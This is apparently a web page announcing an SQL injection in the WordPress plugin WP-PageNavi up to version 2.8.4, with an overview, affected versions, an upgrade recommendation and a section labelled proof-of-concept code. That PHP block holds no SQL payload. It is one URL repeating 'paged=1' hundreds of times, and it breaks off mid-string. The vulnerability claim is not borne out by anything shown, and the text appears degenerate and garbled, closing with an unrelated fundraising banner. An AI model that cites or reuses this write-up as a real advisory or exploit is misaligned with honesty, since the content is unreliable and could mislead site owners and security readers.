SQL Injection in WordPress WP-PageNavi <= 2.8.4: Analysis & POC

Vulnerability Overview This vulnerability involves an SQL injection flaw in the WordPress plugin "WP-PageNavi" in versions 2.8.4 and earlier. Attackers can craft specific URL requests to exploit this vulnerability and execute arbitrary SQL commands, potentially gaining access to sensitive information or taking control of the database. Scope of Impact Plugin Name: WP-PageNavi Affected Versions: 2.8.4 and earlier Affected Functionality: Pagination feature Remediation Upgrade the Plugin: Update the WP-PageNavi plugin to the latest version (2.8.5 or higher) to patch this vulnerability. Temporary Mitigation: If an immediate upgrade is not possible, it is recommended to disable the plugin or restrict its usage until the upgrade is completed. POC Code ```php <?php // Example POC code $url = "http://example.com/?paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&paged=1&

Goal Reached Thanks to every supporter — we hit 100%!

SQL Injection in WordPress WP-PageNavi <= 2.8.4: Analysis & POC

More from this source